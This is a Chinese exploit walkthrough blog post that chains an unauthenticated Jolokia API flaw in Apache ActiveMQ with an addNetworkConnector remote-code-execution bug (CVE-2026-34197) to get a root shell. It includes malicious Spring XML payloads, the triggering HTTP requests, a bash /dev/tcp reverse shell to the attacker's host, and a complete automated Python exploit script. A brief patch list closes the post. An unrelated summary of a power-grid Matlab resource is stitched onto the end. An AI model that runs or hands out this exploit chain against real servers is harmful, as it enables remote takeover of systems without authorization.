【GetShell】Apache ActiveMQ Jolokia未授权和远程代码执行漏洞 (CVE-2026-34197)

漏洞利用演示

如果觉得看文字不够直观,完整的操作演示在这里:

无账号直接拿 root!ActiveMQ Jolokia双CVE组合RCE完整复现

一、亮点

我在看到这个漏洞组合的时候愣了好一会儿。Apache ActiveMQ,一个正经的企业消息中间件——不需要任何账号密码,就能在服务器上执行任意命令。

不是夸张。就一个 HTTP 请求,把服务器的控制权交到你手上。那种感觉怎么说呢,就像你走到一家银行门口,试着推了推门,结果门没锁,里面还有个柜员对着你喊"先生请进,要多少钱自己拿"。你站在门口,手里揣着准备好的各种注入 payload,结果人家连门都给你开了。

这背后是两个 CVE 的"合体技":CVE-2024-32114 忘了给 API 门上锁,CVE-2026-34197 让你能用这把锁坏了的门去搬走整栋楼。单独看,一个"就这?“——进去只能看看 MBean 列表,另一个"需要密码呢”——有命令执行能力但要先过认证。组合到一起——门都没锁,枪就在桌上,你拿起来就能开。

网上关于这两个漏洞的复现文章不少,但绝大多数演示到执行一条 id 命令就收工了。真正难的是从命令执行走到反弹 Shell——你以为把 id 换成 bash -i 就完事了?我当初也是这么想的,然后盯着空白终端发了足足半小时的呆。这篇文章记录了我完整踩坑到最终拿下 root 权限的过程,一步不跳。

二、漏洞背景

ActiveMQ 你可以理解成一个"企业消息邮局"——系统 A 把消息扔给它,系统 B 从它那取。Java 写的,支持集群部署,默认在 8161 端口提供 Web 管理界面。说它是消息中间件的老资历一点不为过,很多大公司的系统里都跑着这玩意。

这个漏洞的故事得从两个配角讲起。

第一个配角:Jolokia。 这名字听着像某种北欧精灵,实际上是个 JMX-HTTP 桥接器。JMX 是 Java 的管理标准,用来远程操控 Java 应用的——比如看它跑了多少条消息、暂停某个队列。但 JMX 原生的访问方式很麻烦,走的是 Java 专有协议,跟说暗语似的。Jolokia 的使命就是把这玩意转成普通的 HTTP API,让前端页面和脚本也能调——相当于给那个说暗语的门配了个翻译官。在 ActiveMQ 里,它的路径是 /api/jolokia/

第二个配角:Spring XML 配置。 ActiveMQ 底层用 Spring 框架管理 Bean(你可以把 Bean 理解成"Java 对象工厂生产出来的零件")。Spring 有个特点——它可以从远程 URL 加载 XML 配置文件来创建 Bean。换句话说,你给它一个 http://evil.com/poc.xml,它会老老实实下载下来,把里面定义的对象一个个创建出来。这里面如果定义了一个 ProcessBuilder(Java 里用来执行系统命令的类),它也会照做不误。

这就好比你家的智能音箱不仅能播放你点的歌,还能接受一个"来自互联网的配置包"——然后这个配置包里夹了一段"把大门打开"的指令。音箱说:“好的,正在为您执行。”

所以到这里我们已经看到了一个潜在的危险链条:如果能调用 Jolokia API 去触发 ActiveMQ 加载远程 XML,就能执行任意命令。问题在于,Jolokia API 按理说应该需要登录才能访问。

这里CVE-2024-32114登场了——ActiveMQ 开发者在配置 Web 安全时,记得给 /admin/* 路径加了认证过滤器,但忘了/api/* 也加。活干了一半就下班了,程序员经典操作。所以在 ActiveMQ 6.0.0 到 6.1.1 版本上,/api/jolokia/ 是裸奔的,任何人都能调用。

光有裸奔的 API 不够,你还得有一个能执行命令的方法去调用。这就是CVE-2026-34197——Broker MBean 上的 addNetworkConnector() 方法没有对传入的参数做充分校验。攻击者可以传一个精心构造的 URI,让 ActiveMQ 去连接一个"不存在的本地 broker",然后 ActiveMQ 会"好心地"根据你给的配置参数去创建一个新 broker——创建过程中就从你的攻击机上下载了恶意 XML,命令就执行了。

两个漏洞单独看:

  • CVE-2024-32114:API 没锁门,但你进去只能看看 MBean 列表、删删队列——破坏力有限,像个没关窗户的空房间。
  • CVE-2026-34197:有把能开枪的扳机,但需要先通过认证这道保险。

组合到一起:一个拆了保险,一个扣了扳机。门都没锁,枪就在桌上,你拿起来就能开。这就是双 CVE 联动的化学反应——缺钥匙的枪遇上了缺枪的钥匙。

三、环境搭建

一行命令:

docker compose up -d

等大约 30 秒,访问 http://your-ip:8161,看到 ActiveMQ 欢迎页说明靶场就绪。

在这里插入图片描述
在这里插入图片描述

确认版本——6.1.1,正好在 CVE-2024-32114(未授权)和 CVE-2026-34197(RCE)的双重覆盖范围内。双重命中,这靶场开得值。

四、漏洞复现

步骤1:验证未授权访问——门确实没锁

先试试能不能不登录就调 Jolokia:

GET /api/jolokia/list HTTP/1.1
Host: your-ip:8161

在这里插入图片描述

状态码 200,返回了一大串 JSON,里面是 ActiveMQ 所有已注册的 MBean 列表。注意看——请求里一行 Authorization 都没带。正常情况下这应该返回 401。开发团队写安全配置时,只在 /admin/* 上加了口令校验,/api/* 被漏掉了。活干一半就下班,程序员经典操作。

步骤2:制作恶意 XML 载荷

在攻击机(能被目标服务器访问到的那台机器)上创建 poc.xml

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
       http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
            <list>
                <value>bash</value>
                <value>-c</value>
                <value><![CDATA[id > /tmp/success]]></value>
            </list>
        </constructor-arg>
    </bean>
</beans>

来看每一行在干什么:

  • <bean id="exec" class="java.lang.ProcessBuilder">——告诉 Spring:"请给我创建一个 ProcessBuilder 对象。"这玩意就是 Java 里用来启动系统进程的,相当于命令行里的 bash
  • init-method="start"——关键中的关键。意思是"这个对象创建完之后,自动调用它的 start() 方法"。一般 Bean 创建完就放在那不动了,但加了这行,创建完立刻触发命令执行。相当于你网购了一个电饭煲,快递员放下之后还自动帮你插电按开关。
  • <constructor-arg>——ProcessBuilder 的构造函数要一个参数列表,这里传了三样:["bash", "-c", "id > /tmp/success"]。相当于在 Shell 里执行 bash -c "id > /tmp/success"
  • <![CDATA[...]]>——XML 的原始文本区。因为命令里可能有 > < & 这些 XML 的特殊字符,包在 CDATA 里就不会被 XML 解析器误伤。相当于给命令穿了个防弹衣。

步骤3:启动 HTTP 服务托管恶意 XML

poc.xml 所在目录:

python3 -m http.server 25000

在这里插入图片描述

步骤4:发送攻击请求

POST /api/jolokia/ HTTP/1.1
Host: your-ip:8161
Content-Type: application/json

{
  "type": "exec",
  "mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
  "operation": "addNetworkConnector(java.lang.String)",
  "arguments": ["static:(vm://evil?brokerConfig=xbean:http://攻击IP:25000/poc.xml)"]
}

拆一下这个请求里的关键部分:

  • "type": "exec"——告诉 Jolokia,“我要执行一个 MBean 的方法”。
  • "mbean": "org.apache.activemq:type=Broker..."——要操作的对象是 ActiveMQ 的 Broker(消息代理核心)。
  • "operation": "addNetworkConnector(java.lang.String)"——调用添加网络连接器的方法。
  • "arguments" 里那个字符串是整次攻击的核心,分开读:
    • static:(...)——ActiveMQ 的静态发现协议,“直接连后面这个地址”。
    • vm://evil——“连接一个叫 evil 的本地 broker”。这个名字是我们瞎编的,它当然不存在。
    • ?brokerConfig=xbean:http://...——“如果 evil 不存在,用这个配置来创建它”。xbean: 告诉 ActiveMQ 用 Spring 去加载配置,而且支持 HTTP URL!

所以整个逻辑是:ActiveMQ 尝试连接 “evil” broker → 发现不存在 → 读取 brokerConfig 参数 → 去你的攻击机下载 XML → Spring 解析并创建 Bean → ProcessBuilder 自动执行 → 命令跑了。

这链条比我上个月的信用卡账单还长,但每一步都是框架的正常功能,没有任何"漏洞代码"——全是设计特性被串成了攻击链。

在这里插入图片描述

响应中 "status": 200 表示 MBean 方法调用成功:

在这里插入图片描述

步骤5:验证攻击机收到请求

攻击机的 HTTP 服务器窗口会显示 ActiveMQ 确实来下载了 poc.xml:

在这里插入图片描述

步骤6:验证命令执行

docker compose exec activemq cat /tmp/success

看到 uid=0(root) gid=0(root)... 的输出,命令成功执行。到这一步,我们已经证明了这个漏洞组合能让服务器执行任意命令。

五、GetShell:拿下服务器

能执行 id 命令只是拿到了"遥控器"。网上关于这个漏洞的教程,百分之九十都停在了这里。真正难的是从单条命令走到一个可以交互的 Shell——你以为把 id 换成反弹命令就完事了?我当初也是这么想的,然后盯着空白终端发了好几分钟的呆。

反弹 Shell 命令怎么理解

先搞清楚我们要让目标执行什么:

bash -i >& /dev/tcp/攻击IP/监听端口 0>&1

零基础拆解:

  • bash -i——启动一个交互式 bash(-i = interactive,有提示符那种)
  • >& /dev/tcp/IP/PORT——把标准输出和标准错误都重定向到 TCP 连接。/dev/tcp/ 是 bash 的内置功能,可以直接打开 TCP 连接,不需要 nc。相当于你家里的水管直接接到了邻居家。
  • 0>&1——把标准输入也绑到同一个 TCP 连接上。这样你在攻击端敲的命令就能传到目标上。

效果就是:目标机器打开一个 bash,所有输入输出不走屏幕,走网络——你在你的机器上敲命令,它在它的机器上执行。

制作反弹 Shell 的 XML 载荷

创建 exploit.xml(把 IP 换成你的攻击机地址):

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
       http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
            <list>
                <value>bash</value>
                <value>-c</value>
                <value><![CDATA[bash -i >& /dev/tcp/攻击IP/25001 0>&1]]></value>
            </list>
        </constructor-arg>
    </bean>
</beans>

结构和 poc.xml 一模一样,只是 CDATA 里的命令从 id > /tmp/success 换成了反弹 Shell。

第一步:攻击机开启监听 + HTTP 服务

开两个终端:

# 终端1:监听反弹Shell
nc -lvvp 25001

# 终端2:托管恶意XML
python3 -m http.server 25005

在这里插入图片描述

第二步:触发反弹

POST /api/jolokia/ HTTP/1.1
Host: your-ip:8161
Content-Type: application/json

{
  "type": "exec",
  "mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
  "operation": "addNetworkConnector(java.lang.String)",
  "arguments": ["static:(vm://evil2?brokerConfig=xbean:http://攻击IP:25005/exploit.xml)"]
}

注意 vm://evil2 换了个名字——因为 evil 在上一步 POC 里可能已经被创建过了,重名会导致请求失败。每次攻击换个名字,就当在玩取名游戏。

第三步:Shell 回来了!

回到 nc 监听窗口,几秒钟后连接建立:

在这里插入图片描述

执行验证命令:

whoami
uname -a
id

在这里插入图片描述

root 权限,交互式 bash,服务器已在你的控制之下。从发送第一个请求到拿到 Shell,前后不超过 3 秒。说实话,比我平时点外卖还快。

六、踩坑与避坑

坑1:反弹 Shell 不弹——nc 一片空白

本来以为把 id > /tmp/success 换成反弹命令就完事了,信心满满地发了个请求——然后 nc 安静得像我的银行存款余额。

排查了好一会儿,问题出在两个地方经常被忽略:

第一,网络连通性。反弹 Shell 是目标主动连你,所以你的攻击机必须在目标能访问到的网络上。如果你在本地用 Docker 跑 ActiveMQ,攻击机是同一台宿主机,用 172.17.0.1(Docker 默认网关)或者宿主机的真实 IP。如果攻击机是云服务器,确保安全组/防火墙开放了监听端口和 HTTP 端口。

第二,端口被防火墙拦了。很多 VPS 默认只开 22、80、443,你随手写的 25001 和 25005 大概率在墙外面。去云控制台把这两个端口加入入站规则。

验证方案——先在目标容器里测试连通性:

docker compose exec activemq bash -c "echo >/dev/tcp/攻击IP/25005 2>&1"

如果返回 connect: Connection refused 说明端口没开或防火墙拦了。先搞定这个再往下走,别像我一样先排查了 XML 语法、curl 了无数次才想起来去控制台看防火墙——说出来都是泪。

就这么简单?对,知道了就这么简单,不知道能让你怀疑自己是不是复制错了命令。

坑2:第二次攻击失败——vm:// 名字重复了

第一次攻击用 vm://evil 成功了,第二次还用同样的名字发请求,返回 200 但 Shell 没弹回来。

我盯着这个 200 状态码看了足足十分钟,就差给它磕一个求它出 Shell 了。

排查发现:ActiveMQ 在第一次攻击时已经创建了一个叫 “evil” 的网络连接器,第二次调用 addNetworkConnector 发现同名连接器已存在就直接跳过了——不会重新触发配置加载。

解决方案——每次攻击把 vm:// 后面的名字改一下:evilevil2evil3……或者直接重启容器:

docker compose restart

知道了就这么简单,不知道能让你盯着 200 状态码思考人生。

坑3:XML 里没加 CDATA——命令被吃了

如果你偷懒把 CDATA 去掉,直接写成:

<value>bash -i >& /dev/tcp/IP/PORT 0>&1</value>

XML 解析器看到 >& 就会开始转义——结果到了 Shell 层命令已经面目全非了。你以为是执行反弹 Shell,实际上执行了一段被 XML 转义得连它亲妈都不认识的字符串。

永远把命令内容包在 <![CDATA[...]]> 里面,这是血的教训——不,是浪费了一个下午的教训。

七、一键利用脚本

每次手动发包、换 XML、改端口太慢了,我写了个 Python 脚本把整个流程自动化。省下来的时间多踩几个坑不好吗?

#!/usr/bin/env python3
# 用法: python exploit.py -t http://target:8161 -lhost 10.0.0.1 -lport 4444 --xml-port 8888

import argparse
import http.server
import socketserver
import threading
import requests
import time
import os
import random

def gen_xml(lhost, lport):
    """构造反弹Shell的XML载荷"""
    cmd = f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"
    return f'''<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
       http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
            <list>
                <value>bash</value>
                <value>-c</value>
                <value><![CDATA[{cmd}]]></value>
            </list>
        </constructor-arg>
    </bean>
</beans>'''

def start_http_server(port):
    """在后台启动HTTP服务托管XML"""
    handler = http.server.SimpleHTTPRequestHandler
    httpd = socketserver.TCPServer(("0.0.0.0", port), handler)
    thread = threading.Thread(target=httpd.serve_forever, daemon=True)
    thread.start()
    return httpd

def trigger_rce(target, lhost, xml_port):
    """发送Jolokia请求触发远程代码执行"""
    evil_name = f"evil{random.randint(1000, 9999)}"
    payload = {
        "type": "exec",
        "mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
        "operation": "addNetworkConnector(java.lang.String)",
        "arguments": [
            f"static:(vm://{evil_name}?brokerConfig=xbean:http://{lhost}:{xml_port}/exploit.xml)"
        ]
    }
    resp = requests.post(
        f"{target}/api/jolokia/",
        json=payload,
        headers={"Content-Type": "application/json"},
        timeout=10
    )
    return resp.json()

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2026-34197 + CVE-2024-32114 一键利用")
    parser.add_argument("-t", "--target", required=True, help="目标URL, 如 http://192.168.1.1:8161")
    parser.add_argument("-lhost", required=True, help="攻击机IP(反弹Shell回连地址)")
    parser.add_argument("-lport", type=int, default=4444, help="反弹Shell监听端口")
    parser.add_argument("--xml-port", type=int, default=8888, help="托管XML的HTTP端口")
    args = parser.parse_args()

    xml = gen_xml(args.lhost, args.lport)
    with open("exploit.xml", "w") as f:
        f.write(xml)
    print(f"[+] exploit.xml 已生成")

    httpd = start_http_server(args.xml_port)
    print(f"[+] HTTP服务已启动 0.0.0.0:{args.xml_port}")

    print(f"[+] 发送攻击请求到 {args.target}")
    result = trigger_rce(args.target, args.lhost, args.xml_port)
    print(f"[+] 响应: {result}")

    print(f"[*] 请在另一个终端执行: nc -lvvp {args.lport}")
    print(f"[*] 等待反弹Shell...")
    time.sleep(30)

用法:

# 先开监听
nc -lvvp 4444

# 另一个终端运行脚本
python exploit.py -t http://target:8161 -lhost 你的攻击机IP -lport 4444 --xml-port 8888

这个脚本会自动生成随机的 evil 名字,再也不用担心重名问题了。

八、修复建议

  • 升级 Apache ActiveMQ 到 5.19.4+ 或 6.2.3+ 版本
  • /api/jolokia/ 路径配置认证过滤器,不要只保护 /admin/*
  • 如果不需要 Jolokia 功能,直接禁用该组件
  • 配置防火墙限制 8161 端口仅对内网或信任 IP 开放
  • 修改默认凭据 admin:admin(高版本虽然加了认证但默认密码没改也是白搭)

九、写在最后

这个漏洞的本质就两个字——组合。一个 API 忘了上锁,一个方法没做输入校验,分开看都是"小问题",合在一起就是服务器沦陷。安全防御也是这个道理——单独的防护措施就像单独的门锁,攻击者永远在找那把坏掉的锁。

如果你想自己动手试试,建议先用 Docker 搭好环境,把 POC 跑通,再试着换不同的反弹方式、换端口、换攻击机位置,慢慢就知道每个环节卡在哪里了。

专栏里之前写过的 Apache OFBiz 那篇(CVE-2024-45507) 也是类似的多漏洞组合套路——通过 SSRF 打穿内网再到反序列化 RCE。如果你对这种"组合拳"攻击模式感兴趣,可以翻翻那篇。

复现过程中有问题直接评论区留言,我看到了会回。

本文仅用于合法的安全研究和教育目的。请确保你测试的系统是你拥有合法授权的靶场环境,禁止对任何未授权系统进行测试。请遵守《中华人民共和国网络安全法》。技术本身没有好坏,关键在于是谁在用、用来做什么。

内容概要:本文围绕“基于交流潮流的电力系统多元件N-k故障模型研究”展开,深入探讨了利用Matlab代码实现电力系统在发生多个关键元件同时故障(即N-k故障)情况下的交流潮流计算与故障分析方法。该模型不仅考虑了传统潮流方程的非线性特性,还引入了故障约束条件,能够精确模拟复杂多样的故障场景,如短路、断线等,进而评估电网在极端运行条件下的稳态与动态行为。研究通过构建典型电力系统算例,验证了所提模型在故障筛选、脆弱性识别及系统恢复策略制定方面的有效性,为电力系统安全评估、风险预警防御体系构建提供了坚实的理论依据技术支撑。此外,模型具备良好的扩展性,可进一步应用于连锁故障传播分析、恶意攻击模拟等高级安全分析领域。; 适合人群:具备电力系统分析基础理论知识Matlab编程能力的高校研究生、科研院所研究人员以及电力公司从事电网规划、运行与安全管理的技术人员,特别适用于开展电力系统安全稳定、可靠性评估与应急响应机制研究的专业人士。; 使用场景及目标:①开展电力系统在多重故障条件下的交流潮流仿真,评估系统电压稳定性、线路过载风险及负荷损失程度;②识别电网中的关键薄弱环节与脆弱元件,支撑电网加固改造与防御资源配置;③用于科研项目中的故障场景建模与算法验证,或作为教学案例帮助学生理解复杂故障下的系统响应机制。; 阅读建议:此资源以Matlab代码为核心实现手段,建议读者结合理论推导与代码实现进行对照学习,重点关注故障建模过程中雅可比矩阵的修正方法、故障注入方式及收敛性处理策略,建议在仿真中逐步增加故障数量与复杂度,深入理解N-k故障对系统潮流分布的影响规律,并尝试将其拓展至含新能源接入的现代电力系统场景中进行验证与优化。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

光跃Eason

坚持下去,谢谢你的鼓励!

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值